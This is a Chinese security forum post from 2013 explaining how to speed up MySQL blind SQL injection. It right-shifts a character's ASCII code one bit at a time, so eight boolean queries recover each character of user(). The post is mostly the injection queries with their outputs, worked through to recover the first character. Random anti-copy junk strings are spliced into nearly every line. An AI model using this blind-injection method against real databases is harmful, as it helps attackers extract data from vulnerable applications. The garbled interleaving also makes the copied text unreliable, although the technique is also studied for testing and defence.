找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2038|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
7 s$ M! {% m, k6 o( ~, S) X# F* c. ?) `6 [! d# o# A

* i  k, E0 B" z( f! A
6 O* `% b3 ]1 _" O- f下面将以查询mysql数据库当中user()的第一位为例:
; j8 i2 S! v, I9 J) k' S8 A/ t: j( r- p# E; R. F# {" x& \5 ?

9 M% c. A3 I; [4 p( k3 B6 K& Z, D9 q/ G7 [0 i7 D6 E
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
$ _: Y. t/ _9 J$ M7 F% |
3 E8 E; u9 l3 p& b) I2 j * a! k/ v8 s. e8 N. d/ b6 i
. |- C5 y* }8 Z2 L. q) G- J
首先执行如下sql语句:
7 i2 U/ v6 ?, _# @; e# w
3 ]" k# Y  T' F  K+ q* g / @. ]- B5 i6 G3 P8 P5 S
# w, P& k2 G) n. }( s6 }, Y, H
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;4 n8 j) v$ d& @/ R$ _: u! U2 @

% y0 _" ^# y9 s0 T
" U+ j/ L# w+ B) A/ _3 `- G3 |' W* l& s( y6 ^8 J
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的4 i4 `6 m  X8 r+ y

9 W5 ?4 D8 V' N! _
. ~& A; {7 W# ~
' Z+ T3 p6 W- u第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为13 N: H9 |; J4 {) _" ^" e' f
: ~! J$ b$ c  M3 r! N- m

  T0 ^6 R! m( R% U0 ]" Z: ]( t
" V! Q$ K9 c$ L* [, n如果运算结果为1,说明第一位为0,不为1- P9 o) t' Y2 t4 l
% x$ u; @1 W" b9 h

; T* Q+ L0 G5 k1 U+ A6 I4 B1 s
" Q" ]3 _. N+ z( f9 G& f+ x9 K: a+————————————–+
6 ^+ O+ k8 y9 P- O7 ?- R! c/ l4 m3 K: L, S) k* j- h
| (ascii((substr(user(),1,1))) >> 7)=0 |' Q1 z4 b7 e: r" ]0 a

8 o! E6 j5 O0 v  @' P$ _+————————————–+4 j( W. a  G" A

( p' t& k* o7 |8 `* w| 1 |
" O; P, k% C9 x
* J5 _/ z% G. p) E0 H& W+————————————–+( W: ^) C' Y7 L' T& f
9 n3 R' X% L, v* o" |6 }) R$ f
1 row in set (0.00 sec)2 h1 p- M, ~- q' Z7 V9 F
0 W; p- ^8 [6 E/ @, M6 X3 |
这样我们就确定这个8bit的ascii的第一位为0& G* U9 Q+ z- L2 Y* ]1 @7 M2 E( K
0 v4 @* t( c$ b( l
. x# C( R6 D! [# x
! W/ _2 c! M9 q
第二次我们来做6次右偏移来确定前两位
, y" c6 v5 n0 y! L8 j- e! d( V5 k8 V- Q* ^  q

/ x' S; H$ [- B5 x; H8 _2 j
. e2 ?+ i4 y5 y% u1 o+ ?前两位可能是01或00,即依然可以与0做比较,7 N( l% M9 K. e0 c1 @

% L2 E2 u0 b4 `$ ^# {mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
* _3 I- M( O1 o+ A  C0 k) c( v) c( N% X0 [
+————————————–+
6 q5 d- y$ x1 {& O
( V2 J; t( _5 }2 H8 {| (ascii((substr(user(),1,1))) >> 6)=0 |9 D8 @' C0 [7 d2 I7 ], Z0 q
7 k7 a% i8 Q9 i, l
+————————————–+4 u1 S- Z1 e7 c" B! u) k

: q/ G: \( p9 _5 U| 0 |. z5 m$ _' k( O1 C" F1 @# X* t- x

( Q' l3 S! ~" k1 |/ m, c+ e+————————————–+. }! x* p0 H. U, f

9 t5 I: i- u% e# l0 p1 row in set (0.00 sec)- L" k+ j7 l7 Q$ L

: L3 r( O, j# E. @, S/ W
1 o, w3 V' g7 S2 R3 |
. R6 V8 [. F- f5 h& S3 @结果为0,即第二位为1
( x2 U: h, A+ _2 D  x* W1 O: i3 V9 o1 S9 o

, b4 k# T6 R2 d8 V0 [/ q; f' Z" {0 e& u9 c/ ]
开始猜测前三位为010或011
. V( z% I8 X# a' G8 K0 F6 j' d( `3 t  ^" p! d

! O& v. D  r( J  G  {: F8 t$ M- o# X, y" m% H6 V, j. J* D% R
让我们看看010和011的ascii码是多少
8 \. m" r. [& R+ {
( r& ^& b. g+ K& n
7 y& `' |  r- k+ o6 I# P+ L
$ B9 }2 `, h( W: B+ I$ m5 D分别查询select b’011′ select b’010′  h5 p) f8 `  C; s% x
1 |8 I) ~% D/ o4 e: A

' B* Y# Y; C5 b# ]2 p( f: ~1 n4 ^  V& j. ~
获得结果 010 = 2 011 = 31 g( d. p( J. w* z
$ Z0 J# n$ o- |$ O+ @% x9 r
2 {$ p; A4 K( Q9 ~7 L8 W9 q5 S0 U

: G2 i0 u- b# ?$ T: U执行如下sql:
! t, |8 f$ h. A
- A9 I3 p3 _0 |6 Q
. X+ e( W; r# v- j- s0 m7 |# D1 g3 {, A6 n0 U) ?& W8 K
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
3 j* s4 I4 j; K4 O, C' T. [$ z
$ ^: a& m* m1 f+————————————–+- T7 w( g5 j; b$ D+ f) G

+ o1 v) w4 {! Y| (ascii((substr(user(),1,1))) >> 5)=2 |5 ~1 s2 w% G1 ?

6 [5 E  [( k7 U+————————————–+: x4 s$ d6 y  H6 ^) k" m0 O' h
, G" N. ^$ g0 P9 i% M& F
| 0 |( D4 V, @5 a+ I
5 ~* ]2 |- u/ V8 Q! ?8 ?1 x( z
+————————————–+2 C/ t3 P9 s* v* ~( G

% J- ?: P. W6 V* _2 g9 h即前三位不为010,而是011: ~9 s3 T2 y% c3 R
: [# j& J# q- n" I) T% G0 d
) |  J, O! m0 u3 G" N3 I
1 u9 F6 h' E# I
直到获得最后一位
" n9 k! s9 G" R/ |  E! D# W2 D9 |' C  d3 m% b& h4 M' A! ?
% O# m* ]1 X) z9 U8 s' J
0 ^  q. N+ l5 e  j" ^* B' W
最终结果为:011100105 o& T. T  `" D+ f& k

$ d: ]# ?; y' C$ C
4 K+ u" s& f2 C  Y1 A$ q5 X8 X& d! B
0 ?9 X2 a2 X( q; R3 @# E4 [转换一下:$ M& d: T' c7 [" h- m/ D

2 X0 w5 j9 O) l/ p % ]. A) D& s% p; G' l$ J- }- B. F
- \! G% A: b$ t9 [5 E; d
select b’01110010′+ U8 |/ K1 m  F" q

& e+ N# G  U0 t
- M0 b" E2 T: P' ~
( V" A( \+ i0 D  m9 W* D' q; Y查询结果
0 R( T- Q. A3 T0 Q2 K9 ^. q: z5 A, ]* Y4 ?; G! F1 ?

/ c$ V9 b  [" E$ }: e
3 h& W* u' d7 `/ r# {% [8 ?6 _+————-+
9 O) }3 M# v% y8 _# P+ s3 g& z+ @* \4 H( r/ [8 N
| b’01110010′ |
- m; E7 ~5 y! ~$ H+ \
8 x/ @" [3 @5 |# O2 d8 B0 Q* ]: G+————-+
3 A# I# h6 i1 M6 n8 ^6 A$ c2 q  f0 [, x' |
| r |* f# O$ d% k2 D7 B: T7 J
% A+ i0 q7 ^5 M  E. s" F, R
+————-+
8 Y$ ]5 F+ J, k; X5 Q
) T4 A7 w1 ~; F, z; S! i* U! ~1 row in set (0.00 sec)! L/ r' n8 k& ]. ]

# f+ u/ s, ]4 B. x" b( y* E9 v
9 L  U. c8 A6 j4 u. \0 U$ z$ B9 _5 T, M+ E' Q4 G6 X' F: _- I
这样我们就获得了user()的第一位.其它位依此类推" n1 B: m2 J/ y* w+ i

/ _6 _8 h; Z( L8 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表